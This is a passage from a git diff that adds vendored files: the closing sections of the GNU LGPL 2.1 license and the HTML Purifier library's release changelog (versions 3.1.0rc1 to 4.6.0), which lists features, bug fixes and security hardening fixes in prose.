+ a) Accompany the work with the complete corresponding
+ machine-readable source code for the Library including whatever
+ changes were used in the work (which must be distributed under
+ Sections 1 and 2 above); and, if the work is an executable linked
+ with the Library, with the complete machine-readable "work that
+ uses the Library", as object code and/or source code, so that the
+ user can modify the Library and then relink to produce a modified
+ executable containing the modified Library. (It is understood
+ that the user who changes the contents of definitions files in the
+ Library will not necessarily be able to recompile the application
+ to use the modified definitions.)
+
+ b) Use a suitable shared library mechanism for linking with the
+ Library. A suitable mechanism is one that (1) uses at run time a
+ copy of the library already present on the user's computer system,
+ rather than copying library functions into the executable, and (2)
+ will operate properly with a modified version of the library, if
+ the user installs one, as long as the modified version is
+ interface-compatible with the version that the work was made with.
+
+ c) Accompany the work with a written offer, valid for at
+ least three years, to give the same user the materials
+ specified in Subsection 6a, above, for a charge no more
+ than the cost of performing this distribution.
+
+ d) If distribution of the work is made by offering access to copy
+ from a designated place, offer equivalent access to copy the above
+ specified materials from the same place.
+
+ e) Verify that the user has already received a copy of these
+ materials or that you have already sent this user a copy.
+
+ For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it. However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+ It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system. Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+ 7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+ a) Accompany the combined library with a copy of the same work
+ based on the Library, uncombined with any other library
+ facilities. This must be distributed under the terms of the
+ Sections above.
+
+ b) Give prominent notice with the combined library of the fact
+ that part of it is a work based on the Library, and explaining
+ where to find the accompanying uncombined form of the same work.
+
+ 8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License. Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License. However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+ 9. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Library or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+ 10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+ 11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all. For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded. In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+ 13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation. If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+ 14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission. For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this. Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+ 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Libraries
+
+ If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change. You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+ To apply these terms, attach the following notices to the library. It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the library's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary. Here is a sample; alter the names:
+
+ Yoyodyne, Inc., hereby disclaims all copyright interest in the
+ library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+ <signature of Ty Coon>, 1 April 1990
+ Ty Coon, President of Vice
+
+That's all there is to it!
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/NEWS b/vendor/ezyang/htmlpurifier/NEWS
new file mode 100644
index 000000000..90a054620
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/NEWS
@@ -0,0 +1,1078 @@
+NEWS ( CHANGELOG and HISTORY ) HTMLPurifier
+|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
+
+= KEY ====================
+ # Breaks back-compat
+ ! Feature
+ - Bugfix
+ + Sub-comment
+ . Internal change
+==========================
+
+4.6.0, released 2013-11-30
+# Secure URI munge hashing algorithm has changed to hash_hmac("sha256", $url, $secret).
+ Please update any verification scripts you may have.
+# URI parsing algorithm was made more strict, so only prefixes which
+ looks like schemes will actually be schemes. Thanks
+ Michael Gusev <mgusev@sugarcrm.com> for fixing.
+# %Core.EscapeInvalidChildren is no longer supported, and no longer does
+ anything.
+! New directive %Core.AllowHostnameUnderscore which allows underscores
+ in hostnames.
+- Eliminate quadratic behavior in DOMLex by using a proper queue.
+ Thanks Ole Laursen for noticing this.
+- Rewritten MakeWellFormed/FixNesting implementation eliminates quadratic
+ behavior in the rest of the purificaiton pipeline. Thanks Chedburn
+ Networks for sponsoring this work.
+- Made Linkify URL parser a bit less permissive, so that non-breaking
+ spaces and commas are not included as part of URL. Thanks nAS for fixing.
+- Fix some bad interactions with %HTML.Allowed and injectors. Thanks
+ David Hirtz for reporting.
+- Fix infinite loop in DirectLex. Thanks Ashar Javed (@soaj1664ashar)
+ for reporting.
+
+4.5.0, released 2013-02-17
+# Fix bug where stacked attribute transforms clobber each other;
+ this also means it's no longer possible to override attribute
+ transforms in later modules. No internal code was using this
+ but this may break some clients.
+# We now use SHA-1 to identify cached definitions, instead of MD5.
+! Support display:inline-block
+! Support for more white-space CSS values.
+! Permit underscores in font families
+! Support for page-break-* CSS3 properties when proprietary properties
+ are enabled.
+! New directive %Core.DisableExcludes; can be set to 'true' to turn off
+ SGML excludes checking. If HTML Purifier is removing too much text
+ and you don't care about full standards compliance, try setting this to
+ 'true'.
+- Use prepend for SPL autoloading on PHP 5.3 and later.
+- Fix bug with nofollow transform when pre-existing rel exists.
+- Fix bug where background:url() always gets lower-cased
+ (but not background-image:url())
+- Fix bug with non lower-case color names in HTML
+- Fix bug where data URI validation doesn't remove temporary files.
+ Thanks Javier Marín Ros <javiermarinros@gmail.com> for reporting.
+- Don't remove certain empty tags on RemoveEmpty.
+
+4.4.0, released 2012-01-18
+# Removed PEARSax3 handler.
+# URI.Munge now munges URIs inside the same host that go from https
+ to http. Reported by Neike Taika-Tessaro.
+# Core.EscapeNonASCIICharacters now always transforms entities to
+ entities, even if target encoding is UTF-8.
+# Tighten up selector validation in ExtractStyleBlocks.
+ Non-syntactically valid selectors are now rejected, along with
+ some of the more obscure ones such as attribute selectors, the
+ :lang pseudoselector, and anything not in CSS2.1. Furthermore,
+ ID and class selectors now work properly with the relevant
+ configuration attributes. Also, mute errors when parsing CSS
+ with CSS Tidy. Reported by Mario Heiderich and Norman Hippert.
+! Added support for 'scope' attribute on tables.
+! Added %HTML.TargetBlank, which adds target="blank" to all outgoing links.
+! Properly handle sub-lists directly nested inside of lists in
+ a standards compliant way, by moving them into the preceding <li>
+! Added %HTML.AllowedComments and %HTML.AllowedCommentsRegexp for
+ limited allowed comments in untrusted situations.
+! Implement iframes, and allow them to be used in untrusted mode with
+ %HTML.SafeIframe and %URI.SafeIframeRegexp. Thanks Bradley M. Froehle
+ <brad.froehle@gmail.com> for submitting an initial version of the patch.
+! The Forms module now works properly for transitional doctypes.
+! Added support for internationalized domain names. You need the PEAR
+ Net_IDNA2 module to be in your path; if it is installed, ensure the
+ class can be loaded and then set %Core.EnableIDNA to true.
+- Color keywords are now case insensitive. Thanks Yzmir Ramirez
+ <yramirez-htmlpurifier@adicio.com> for reporting.
+- Explicitly initialize anonModule variable to null.
+- Do not duplicate nofollow if already present. Thanks 178
+ for reporting.
+- Do not add nofollow if hostname matches our current host. Thanks 178
+ for reporting, and Neike Taika-Tessaro for helping diagnose.
+- Do not unset parser variable; this fixes intermittent serialization
+ problems. Thanks Neike Taika-Tessaro for reporting, bill
+ <10010tiger@gmail.com> for diagnosing.
+- Fix iconv truncation bug, where non-UTF-8 target encodings see
+ output truncated after around 8000 characters. Thanks Jörg Ludwig
+ <joerg.ludwig@iserv.eu> for reporting.
+- Fix broken table content model for XHTML1.1 (and also earlier
+ versions, although the W3C validator doesn't catch those violations).
+ Thanks GlitchMr <glitch.mr@gmail.com> for reporting.
+
+4.3.0, released 2011-03-27
+# Fixed broken caching of customized raw definitions, but requires an
+ API change. The old API still works but will emit a warning,
+ see http://htmlpurifier.org/docs/enduser-customize.html#optimized
+ for how to upgrade your code.
+# Protect against Internet Explorer innerHTML behavior by specially
+ treating attributes with backticks but no angled brackets, quotes or
+ spaces. This constitutes a slight semantic change, which can be
+ reverted using %Output.FixInnerHTML. Reported by Neike Taika-Tessaro
+ and Mario Heiderich.
+# Protect against cssText/innerHTML by restricting allowed characters
+ used in fonts further than mandated by the specification and encoding
+ some extra special characters in URLs. Reported by Neike
+ Taika-Tessaro and Mario Heiderich.
+! Added %HTML.Nofollow to add rel="nofollow" to external links.
+! More types of SPL autoloaders allowed on later versions of PHP.
+! Implementations for position, top, left, right, bottom, z-index
+ when %CSS.Trusted is on.
+! Add %Cache.SerializerPermissions option for custom serializer
+ directory/file permissions
+! Fix longstanding bug in Flash support for non-IE browsers, and
+ allow more wmode attributes.
+! Add %CSS.AllowedFonts to restrict permissible font names.
+- Switch to an iterative traversal of the DOM, which prevents us
+ from running out of stack space for deeply nested documents.
+ Thanks Maxim Krizhanovsky for contributing a patch.
+- Make removal of conditional IE comments ungreedy; thanks Bernd
+ for reporting.
+- Escape CDATA before removing Internet Explorer comments.
+- Fix removal of id attributes under certain conditions by ensuring
+ armor attributes are preserved when recreating tags.
+- Check if schema.ser was corrupted.
+- Check if zend.ze1_compatibility_mode is on, and error out if it is.
+ This safety check is only done for HTMLPurifier.auto.php; if you
+ are using standalone or the specialized includes files, you're
+ expected to know what you're doing.
+- Stop repeatedly writing the cache file after I'm done customizing a
+ raw definition. Reported by ajh.
+- Switch to using require_once in the Bootstrap to work around bad
+ interaction with Zend Debugger and APC. Reported by Antonio Parraga.
+- Fix URI handling when hostname is missing but scheme is present.
+ Reported by Neike Taika-Tessaro.
+- Fix missing numeric entities on DirectLex; thanks Neike Taika-Tessaro
+ for reporting.
+- Fix harmless notice from indexing into empty string. Thanks Matthijs
+ Kooijman <matthijs@stdin.nl> for reporting.
+- Don't autoclose no parent elements are able to support the element
+ that triggered the autoclose. In particular fixes strange behavior
+ of stray <li> tags. Thanks pkuliga@gmail.com for reporting and
+ Neike Taika-Tessaro <pinkgothic@gmail.com> for debugging assistance.
+
+4.2.0, released 2010-09-15
+! Added %Core.RemoveProcessingInstructions, which lets you remove
+ <? ... ?> statements.
+! Added %URI.DisableResources functionality; the directive originally
+ did nothing. Thanks David Rothstein for reporting.
+! Add documentation about configuration directive types.
+! Add %CSS.ForbiddenProperties configuration directive.
+! Add %HTML.FlashAllowFullScreen to permit embedded Flash objects
+ to utilize full-screen mode.
+! Add optional support for the <code>file</code> URI scheme, enable
+ by explicitly setting %URI.AllowedSchemes.
+! Add %Core.NormalizeNewlines options to allow turning off newline
+ normalization.
+- Fix improper handling of Internet Explorer conditional comments
+ by parser. Thanks zmonteca for reporting.
+- Fix missing attributes bug when running on Mac Snow Leopard and APC.
+ Thanks sidepodcast for the fix.
+- Warn if an element is allowed, but an attribute it requires is
+ not allowed.
+
+4.1.1, released 2010-05-31
+- Fix undefined index warnings in maintenance scripts.
+- Fix bug in DirectLex for parsing elements with a single attribute
+ with entities.
+- Rewrite CSS output logic for font-family and url(). Thanks Mario
+ Heiderich <mario.heiderich@googlemail.com> for reporting and Takeshi
+ Terada <t-terada@violet.plala.or.jp> for suggesting the fix.
+- Emit an error for CollectErrors if a body is extracted
+- Fix bug where in background-position for center keyword handling.
+- Fix infinite loop when a wrapper element is inserted in a context
+ where it's not allowed. Thanks Lars <lars@renoz.dk> for reporting.
+- Remove +x bit and shebang from index.php; only supported mode is to
+ explicitly call it with php.
+- Make test script less chatty when log_errors is on.
+
+4.1.0, released 2010-04-26
+! Support proprietary height attribute on table element
+! Support YouTube slideshows that contain /cp/ in their URL.
+! Support for data: URI scheme; not enabled by default, add it using
+ %URI.AllowedSchemes
+! Support flashvars when using %HTML.SafeObject and %HTML.SafeEmbed.
+! Support for Internet Explorer compatibility with %HTML.SafeObject
+ using %Output.FlashCompat.
+! Handle <ol><ol> properly, by inserting the necessary <li> tag.
+- Always quote the insides of url(...) in CSS.
+
+4.0.0, released 2009-07-07
+# APIs for ConfigSchema subsystem have substantially changed. See
+ docs/dev-config-bcbreaks.txt for details; in essence, anything that
+ had both namespace and directive now have a single unified key.
+# Some configuration directives were renamed, specifically:
+ %AutoFormatParam.PurifierLinkifyDocURL -> %AutoFormat.PurifierLinkify.DocURL
+ %FilterParam.ExtractStyleBlocksEscaping -> %Filter.ExtractStyleBlocks.Escaping
+ %FilterParam.ExtractStyleBlocksScope -> %Filter.ExtractStyleBlocks.Scope
+ %FilterParam.ExtractStyleBlocksTidyImpl -> %Filter.ExtractStyleBlocks.TidyImpl
+ As usual, the old directive names will still work, but will throw E_NOTICE
+ errors.
+# The allowed values for class have been relaxed to allow all of CDATA for
+ doctypes that are not XHTML 1.1 or XHTML 2.0. For old behavior, set
+ %Attr.ClassUseCDATA to false.
+# Instead of appending the content model to an old content model, a blank
+ element will replace the old content model. You can use #SUPER to get
+ the old content model.
+! More robust support for name="" and id=""
+! HTMLPurifier_Config::inherit($config) allows you to inherit one
+ configuration, and have changes to that configuration be propagated
+ to all of its children.
+! Implement %HTML.Attr.Name.UseCDATA, which relaxes validation rules on
+ the name attribute when set. Use with care. Thanks Ian Cook for
+ sponsoring.
+! Implement %AutoFormat.RemoveEmpty.RemoveNbsp, which removes empty
+ tags that contain non-breaking spaces as well other whitespace. You
+ can also modify which tags should have &nbsp; maintained with
+ %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.
+! Implement %Attr.AllowedClasses, which allows administrators to restrict
+ classes users can use to a specified finite set of classes, and
+ %Attr.ForbiddenClasses, which is the logical inverse.
+! You can now maintain your own configuration schema directories by
+ creating a config-schema.php file or passing an extra argument. Check
+ docs/dev-config-schema.html for more details.
+! Added HTMLPurifier_Config->serialize() method, which lets you save away
+ your configuration in a compact serial file, which you can unserialize
+ and use directly without having to go through the overhead of setup.
+- Fix bug where URIDefinition would not get cleared if it's directives got
+ changed.
+- Fix fatal error in HTMLPurifier_Encoder on certain platforms (probably NetBSD 5.0)
+- Fix bug in Linkify autoformatter involving <a><span>http://foo</span></a>
+- Make %URI.Munge not apply to links that have the same host as your host.
+- Prevent stray </body> tag from truncating output, if a second </body>
+ is present.
+. Created script maintenance/rename-config.php for renaming a configuration
+ directive while maintaining its alias. This script does not change source code.
+. Implement namespace locking for definition construction, to prevent
+ bugs where a directive is used for definition construction but is not
+ used to construct the cache hash.
+
+3.3.0, released 2009-02-16
+! Implement CSS property 'overflow' when %CSS.AllowTricky is true.
+! Implement generic property list classess
+- Fix bug with testEncodingSupportsASCII() algorithm when iconv() implementation
+ does not do the "right thing" with characters not supported in the output
+ set.
+- Spellcheck UTF-8: The Secret To Character Encoding
+- Fix improper removal of the contents of elements with only whitespace. Thanks
+ Eric Wald for reporting.
+- Fix broken test suite in versions of PHP without spl_autoload_register()
+- Fix degenerate case with YouTube filter involving double hyphens.
+ Thanks Pierre Attar for reporting.
+- Fix YouTube rendering problem on certain versions of Firefox.
+- Fix CSSDefinition Printer problems with decorators
+- Add text parameter to unit tests, forces text output
+. Add verbose mode to command line test runner, use (--verbose)
+. Turn on unit tests for UnitConverter
+. Fix missing version number in configuration %Attr.DefaultImageAlt (added 3.2.0)
+. Fix newline errors that caused spurious failures when CRLF HTML Purifier was
+ tested on Linux.
+. Removed trailing whitespace from all text files, see
+ remote-trailing-whitespace.php maintenance script.
+. Convert configuration to use property list backend.
+
+3.2.0, released 2008-10-31
+# Using %Core.CollectErrors forces line number/column tracking on, whereas
+ previously you could theoretically turn it off.
+# HTMLPurifier_Injector->notifyEnd() is formally deprecated. Please
+ use handleEnd() instead.
+! %Output.AttrSort for when you need your attributes in alphabetical order to
+ deal with a bug in FCKEditor. Requested by frank farmer.
+! Enable HTML comments when %HTML.Trusted is on. Requested by Waldo Jaquith.
+! Proper support for name attribute. It is now allowed and equivalent to the id
+ attribute in a and img tags, and is only converted to id when %HTML.TidyLevel
+ is heavy (for all doctypes).
+! %AutoFormat.RemoveEmpty to remove some empty tags from documents. Please don't
+ use on hand-written HTML.
+! Add error-cases for unsupported elements in MakeWellFormed. This enables
+ the strategy to be used, standalone, on untrusted input.
+! %Core.AggressivelyFixLt is on by default. This causes more sensible
+ processing of left angled brackets in smileys and other whatnot.
+! Test scripts now have a 'type' parameter, which lets you say 'htmlpurifier',
+ 'phpt', 'vtest', etc. in order to only execute those tests. This supercedes
+ the --only-phpt parameter, although for backwards-compatibility the flag
+ will still work.
+! AutoParagraph auto-formatter will now preserve double-newlines upon output.
+ Users who are not performing inbound filtering, this may seem a little
+ useless, but as a bonus, the test suite and handling of edge cases is also
+ improved.
+! Experimental implementation of forms for %HTML.Trusted
+! Track column numbers when maintain line numbers is on
+! Proprietary 'background' attribute on table-related elements converted into
+ corresponding CSS. Thanks Fusemail for sponsoring this feature!
+! Add forward(), forwardUntilEndToken(), backward() and current() to Injector
+ supertype.
+! HTMLPurifier_Injector->handleEnd() permits modification to end tokens. The
+ time of operation varies slightly from notifyEnd() as *all* end tokens are
+ processed by the injector before they are subject to the well-formedness rules.
+! %Attr.DefaultImageAlt allows overriding default behavior of setting alt to
+ basename of image when not present.
+! %AutoFormat.DisplayLinkURI neuters <a> tags into plain text URLs.
+- Fix two bugs in %URI.MakeAbsolute; one involving empty paths in base URLs,
+ the other involving an undefined $is_folder error.
+- Throw error when %Core.Encoding is set to a spurious value. Previously,
+ this errored silently and returned false.
+- Redirected stderr to stdout for flush error output.
+- %URI.DisableExternal will now use the host in %URI.Base if %URI.Host is not
+ available.
+- Do not re-munge URL if the output URL has the same host as the input URL.
+ Requested by Chris.
+- Fix error in documentation regarding %Filter.ExtractStyleBlocks
+- Prevent <![CDATA[<body></body>]]> from triggering %Core.ConvertDocumentToFragment
+- Fix bug with inline elements in blockquotes conflicting with strict doctype
+- Detect if HTML support is disabled for DOM by checking for loadHTML() method.
+- Fix bug where dots and double-dots in absolute URLs without hostname were
+ not collapsed by URIFilter_MakeAbsolute.
+- Fix bug with anonymous modules operating on SafeEmbed or SafeObject elements
+ by reordering their addition.
+- Will now throw exception on many error conditions during lexer creation; also
+ throw an exception when MaintainLineNumbers is true, but a non-tracksLineNumbers
+ is being used.
+- Detect if domxml extension is loaded, and use DirectLEx accordingly.
+- Improve handling of big numbers with floating point arithmetic in UnitConverter.
+ Reported by David Morton.
+. Strategy_MakeWellFormed now operates in-place, saving memory and allowing
+ for more interesting filter-backtracking
+. New HTMLPurifier_Injector->rewind() functionality, allows injectors to rewind
+ index to reprocess tokens.
+. StringHashParser now allows for multiline sections with "empty" content;
+ previously the section would remain undefined.
+. Added --quick option to multitest.php, which tests only the most recent
+ release for each series.
+. Added --distro option to multitest.php, which accepts either 'normal' or
+ 'standalone'. This supercedes --exclude-normal and --exclude-standalone
+
+3.1.1, released 2008-06-19
+# %URI.Munge now, by default, does not munge resources (for example, <img src="">)
+ In order to enable this again, please set %URI.MungeResources to true.
+! More robust imagecrash protection with height/width CSS with %CSS.MaxImgLength,
+ and height/width HTML with %HTML.MaxImgLength.
+! %URI.MungeSecretKey for secure URI munging. Thanks Chris
+ for sponsoring this feature. Check out the corresponding documentation
+ for details. (Att Nightly testers: The API for this feature changed before
+ the general release. Namely, rename your directives %URI.SecureMungeSecretKey =>
+ %URI.MungeSecretKey and and %URI.SecureMunge => %URI.Munge)
+! Implemented post URI filtering. Set member variable $post to true to set
+ a URIFilter as such.
+! Allow modules to define injectors via $info_injector. Injectors are
+ automatically disabled if injector's needed elements are not found.
+! Support for "safe" objects added, use %HTML.SafeObject and %HTML.SafeEmbed.
+ Thanks Chris for sponsoring. If you've been using ad hoc code from the
+ forums, PLEASE use this instead.
+! Added substitutions for %e, %n, %a and %p in %URI.Munge (in order,
+ embedded, tag name, attribute name, CSS property name). See %URI.Munge
+ for more details. Requested by Jochem Blok.
+- Disable percent height/width attributes for img.
+- AttrValidator operations are now atomic; updates to attributes are not
+ manifest in token until end of operations. This prevents naughty internal
+ code from directly modifying CurrentToken when they're not supposed to.
+ This semantics change was requested by frank farmer.
+- Percent encoding checks enabled for URI query and fragment
+- Fix stray backslashes in font-family; CSS Unicode character escapes are
+ now properly resolved (although *only* in font-family). Thanks Takeshi Terada
+ for reporting.
+- Improve parseCDATA algorithm to take into account newline normalization
+- Account for browser confusion between Yen character and backslash in
+ Shift_JIS encoding. This fix generalizes to any other encoding which is not
+ a strict superset of printable ASCII. Thanks Takeshi Terada for reporting.
+- Fix missing configuration parameter in Generator calls. Thanks vs for the
+ partial patch.
+- Improved adherence to Unicode by checking for non-character codepoints.
+ Thanks Geoffrey Sneddon for reporting. This may result in degraded
+ performance for extremely large inputs.
+- Allow CSS property-value pair ''text-decoration: none''. Thanks Jochem Blok
+ for reporting.
+. Added HTMLPurifier_UnitConverter and HTMLPurifier_Length for convenient
+ handling of CSS-style lengths. HTMLPurifier_AttrDef_CSS_Length now uses
+ this class.
+. API of HTMLPurifier_AttrDef_CSS_Length changed from __construct($disable_negative)
+ to __construct($min, $max). __construct(true) is equivalent to
+ __construct('0').
+. Added HTMLPurifier_AttrDef_Switch class
+. Rename HTMLPurifier_HTMLModule_Tidy->construct() to setup() and bubble method
+ up inheritance hierarchy to HTMLPurifier_HTMLModule. All HTMLModules
+ get this called with the configuration object. All modules now
+ use this rather than __construct(), although legacy code using constructors
+ will still work--the new format, however, lets modules access the
+ configuration object for HTML namespace dependant tweaks.
+. AttrDef_HTML_Pixels now takes a single construction parameter, pixels.
+. ConfigSchema data-structure heavily optimized; on average it uses a third
+ the memory it did previously. The interface has changed accordingly,
+ consult changes to HTMLPurifier_Config for details.
+. Variable parsing types now are magic integers instead of strings
+. Added benchmark for ConfigSchema
+. HTMLPurifier_Generator requires $config and $context parameters. If you
+ don't know what they should be, use HTMLPurifier_Config::createDefault()
+ and new HTMLPurifier_Context().
+. Printers now properly distinguish between output configuration, and
+ target configuration. This is not applicable to scripts using
+ the Printers for HTML Purifier related tasks.
+. HTML/CSS Printers must be primed with prepareGenerator($gen_config), otherwise
+ fatal errors will ensue.
+. URIFilter->prepare can return false in order to abort loading of the filter
+. Factory for AttrDef_URI implemented, URI#embedded to indicate URI that embeds
+ an external resource.
+. %URI.Munge functionality factored out into a post-filter class.
+. Added CurrentCSSProperty context variable during CSS validation
+
+3.1.0, released 2008-05-18
+# Unnecessary references to objects (vestiges of PHP4) removed from method
+ signatures. The following methods do not need references when assigning from
+ them and will result in E_STRICT errors if you try:
+ + HTMLPurifier_Config->get*Definition() [* = HTML, CSS]
+ + HTMLPurifier_ConfigSchema::instance()
+ + HTMLPurifier_DefinitionCacheFactory::instance()
+ + HTMLPurifier_DefinitionCacheFactory->create()
+ + HTMLPurifier_DoctypeRegistry->register()
+ + HTMLPurifier_DoctypeRegistry->get()
+ + HTMLPurifier_HTMLModule->addElement()
+ + HTMLPurifier_HTMLModule->addBlankElement()
+ + HTMLPurifier_LanguageFactory::instance()
+# Printer_ConfigForm's get*() functions were static-ified
+# %HTML.ForbiddenAttributes requires attribute declarations to be in the
+ form of tag@attr, NOT tag.attr (which will throw an error and won't do
+ anything). This is for forwards compatibility with XML; you'd do best
+ to migrate an %HTML.AllowedAttributes directives to this syntax too.
+! Allow index to be false for config from form creation
+! Added HTMLPurifier::VERSION constant
+! Commas, not dashes, used for serializer IDs. This change is forwards-compatible
+ and allows for version numbers like "3.1.0-dev".
+! %HTML.Allowed deals gracefully with whitespace anywhere, anytime!
+! HTML Purifier's URI handling is a lot more robust, with much stricter
+ validation checks and better percent encoding handling. Thanks Gareth Heyes
+ for indicating security vulnerabilities from lax percent encoding.
+! Bootstrap autoloader deals more robustly with classes that don't exist,
+ preventing class_exists($class, true) from barfing.
+- InterchangeBuilder now alphabetizes its lists
+- Validation error in configdoc output fixed
+- Iconv and other encoding errors muted even with custom error handlers that
+ do not honor error_reporting
+- Add protection against imagecrash attack with CSS height/width
+- HTMLPurifier::instance() created for consistency, is equivalent to getInstance()
+- Fixed and revamped broken ConfigForm smoketest
+- Bug with bool/null fields in Printer_ConfigForm fixed
+- Bug with global forbidden attributes fixed
+- Improved error messages for allowed and forbidden HTML elements and attributes
+- Missing (or null) in configdoc documentation restored
+- If DOM throws and exception during parsing with PH5P (occurs in newer versions
+ of DOM), HTML Purifier punts to DirectLex
+- Fatal error with unserialization of ScriptRequired
+- Created directories are now chmod'ed properly
+- Fixed bug with fallback languages in LanguageFactory
+- Standalone testing setup properly with autoload
+. Out-of-date documentation revised
+. UTF-8 encoding check optimization as suggested by Diego
+. HTMLPurifier_Error removed in favor of exceptions
+. More copy() function removed; should use clone instead
+. More extensive unit tests for HTMLDefinition
+. assertPurification moved to central harness
+. HTMLPurifier_Generator accepts $config and $context parameters during
+ instantiation, not runtime
+. Double-quotes outside of attribute values are now unescaped
+
+3.1.0rc1, released 2008-04-22
+# Autoload support added. Internal require_once's removed in favor of an
